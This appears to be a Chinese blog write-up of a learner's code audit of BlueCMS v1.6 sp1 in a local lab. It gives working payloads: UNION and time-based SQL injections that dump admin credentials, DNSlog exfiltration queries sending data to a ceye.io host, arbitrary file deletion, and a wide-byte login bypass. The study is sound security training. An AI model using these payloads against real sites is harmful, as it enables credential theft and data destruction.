前言
在看
代码审计企业级Web代码安全架构
这本书的电子版,找了个案例来进行审计,大佬们推荐bluecms v1.6 sp1
这套源码来审计,在本地搭建环境,用这篇文章做记录。
如何入手?
在本地搭建好环境后,用phpstorm打开这套网站的文件夹,看到一堆php文件和文件夹,一下子不知如何下手?
书上提供了四种代码审计的思路
- 根据敏感关键字回溯参数传递过程
- 查找可控变量,正向追踪变量传递过程
- 寻找敏感功能点,通读功能点代码
- 直接通读全文代码
作为一个新手,当然是选择一个比较容易地方式入手啦,直接打开Seay
源代码审计系统自动审计一遍。
扫出255个可疑漏洞 |
---|
看到这么多可疑点,确实是又让人有些头秃,先不管这么多,先从第一个开始审计。
SQL注入-联合注入
路径
/uploads/ad_js.php
在19行出发现一条sql语句,其ad_id的值直接进行了拼接,接下来看看$ad_id的值是如何来的。
在12行处发现$ad_id变量的值通过$_GET[‘ad_id’]拿到,并且也没有经过过滤,那么这里肯定存在sql注入漏洞,接下来进行测试。
1 | ad_js.php?ad_id= 1 order by 8 //报错 |
1 | ad_js.php?ad_id=%201%20union%20select%201,2,3,4,5,6,group_concat(table_name) from information_schema.tables where table_schema=database() |
1 | ad_js.php?ad_id=%201%20union%20select%201,2,3,4,5,6,group_concat(column_name) from information_schema.columns where table_name='blue_admin' |
这里报错,我传入的单引号被转义成\'
了。为什么会被转义呢?我确实没有看明白,待会在分析,这里很容易绕过,直接使用表名的十六进制0x626c75655f61646d696e
。
成功绕过
1 | ad_js.php?ad_id=%201%20union%20select%201,2,3,4,5,6,group_concat(admin_name,pwd) from blue_admin |
成功拿到管理员的用户名密码。
第一个漏洞审计起来并没有那么复杂,稍微有些基础都能够利用。刚刚有一个问题并没有解决,就是在GET参数获取的时候并没有过滤和加addslashes()
函数,为什么给我传入的单引号进行了转义了呢?
经过分析
在10行引入了一个文件
进入/include/common.inc.php
发现
对所有的GET、POST、COOKIES、REQUEST
都执行了deep_addslashes
函数。
而这个deep_addslashes函数的功能则是对上面这几个变量传入的值进行特殊字符转义
到这就明白了刚刚为什么会被转义,审计出来的第一个联合注入漏洞。
接下来继续
/upload/ann.php
在33行发现$cid变量进行了拼接,来到$cid拿到值的地方。
可以得知,这里用了intval对拿到的值进行了整数转换,也就意味着我们无法传入sql语句,导致不可利用。
下一个
时间盲注&dnslog的利用
/uploads/comment.php
在这个文件中找到如下几处执行sql语句的代码
从代码中可以看到,都是直接拼接了变量,所有的sql语句都拼接了$id这个变量,接下来回溯到$id拿到值的地方。
也将拿到的值进行了整数转换。也就是后面的两条sql都无法利用,不过,我在第三天插入语句里看到了一个函数getip()
,接下来跳过去看看。
1 | function getip() |
可以看到,插入语句里的ip
字段的值是以上述方式获取,而通过上文审计可以得知,$_SERVER这个变量并没有被转义,也就是我们可以通过伪造X-Forwarded-For
这个header 头来控制 ip字段的值,从而进行insert注入。
这是代码中执行的sql语句
1 | INSERT INTO ".table('comment')." (com_id, post_id, user_id, type, mood, content, pub_date, ip, is_check) |
如果我们控制了ip
字段的值,并且让字段值为'or sleep(3) or'
1 | INSERT INTO ".table('comment')." (com_id, post_id, user_id, type, mood, content, pub_date, ip, is_check) |
测试
好像并没有反应,纳闷至极,回头看看代码。
需要三个个条件才能执行到这条sql
$act == 'send'
和 empty($id)
,这两个变量的值可以通过$_REQUEST变量传递,empty($content)
POST获得。
可以明显感觉到延迟了一会,所以这里经过测试,可以检测出存在sql时间盲注。时间盲注可谓是sql注入最麻烦的注入了,肯定是需要写脚本来利用,但是其实还有另一种方式,通过dnslog,但是仅限于服务器在windows下。
1 | 'or load_file(concat('\\\\',(select database()),'.uutiyi.ceye.io\\abc')) or' |
通过平台 http://ceye.io/records/dns
数据库名直接拼接在了域名上,可谓是方便至极。
1 | 'or load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'.uutiyi.ceye.io\\abc')) or' |
这里查询表名的时候需要用limit 0,1
一个一个查,但也比脚本跑要好得多了。接下来都是重复的步骤,节约时间,直接跳到最后一步。
1 | 'or load_file(concat('\\\\',(select group_concat(admin_name,pwd) from blue_admin limit 0,1),'.uutiyi.ceye.io\\abc')) or' |
成功拿到管理员的用户名密码。
前面已经审计出两个sql注入漏洞,并且在这套代码里,sql注入漏洞太多,审计过程中就忽略了类型重复的漏洞。
继续审计。
/uploads/guest_book.php
在79行中的sql语句中,可以看到插入的值中拼接了很多变量,经过分析,这里有两个变量可控,一个是$online_ip
和$content
。
跟踪$online_ip
变量。
跳转到uploads/include/common.inc.php文件中
获取了getip()
函数的返回值,从上文分析中,可以知道,这里的getip获得的返回值可以通过伪造X-Forwarded-For
这个header 头来控制 ip字段的值。
测试
成功延迟了3秒,说明可以注入,这里就不在继续演示了,上面两次已经演示过了。
任意文件删除
在user.php 795行
可以看到执行了一个unlink函数,参数直接拼接了$_POST['face_pic3']
,可以直接进行任意文件删除,
先在网页根目录创建一个文件进行测试
回溯看看,执行这到这需要什么条件。
需要进行登录,点击用户管理->我的个人资料->确定修改,用bp抓取这个请求
将face_pic3参数修改为./1.txt
提交后即可删除刚刚创建的文件。
后台登录宽字节注入绕过登录
uploads/admin/include/common.fun.php
在179行
1 | function check_admin($name, $pwd) |
这个是验证后台登录的函数,这里的sql语句可以看到直接拼接了$name
变量。看看哪里调用了这个函数。
回溯到 /uploads/admin/login.php
32行调用了check_admin
函数,传入了$admin_name
和$admin_pwd
变量,这两个变量通过POST接收,也并没有经过处理。那么我们直接通过后台登录页面进行传参。
1 | http://127.0.0.1:9916/uploads/admin/login.php |
提交
1 | admin_name=admin' or 1=1%23&admin_pwd=admin&submit=%B5%C7%C2%BC&act=do_login |
单引号经过了转义
这里可以用宽字节注入,输入'
被转义成\'
,用 ``%df绕过 ,
%df%5c’,这里的
%5c就是
`,%df%5c
会被解析成一个中文字符,从而照成'
逃逸。
成功登录
总结
这套代码其实远远不止上面列出的这几个漏洞,代码中的sql语句基本上都是直接进行拼接,大部分地方都可以被利用。由此可见当年的那些网站有多不安全。这也是我第一次对整站进行审计,说说自己的感受吧,这套网站中,sql注入很多,刚开始还很耐心,后边真的懒得去看了,这套代码中有一个文件包含的洞,但是在我的环境中就是利用不了,我还以为是win10特性变了,不能在末尾追加.
来绕过后缀的拼接,就在win7上复现,结果还是不行,最终也没找到原因,真是头秃,很多时候都感觉无从下手,有很多的文件,就是不知道去看哪一个,上面就是我遇到的问题。不过也学到了不少,这次审计学到的就是dnslog的利用,之前是知道,但是没有实际去做,用dnslog确实让时间盲注省事不少,但只能仅限于windows下。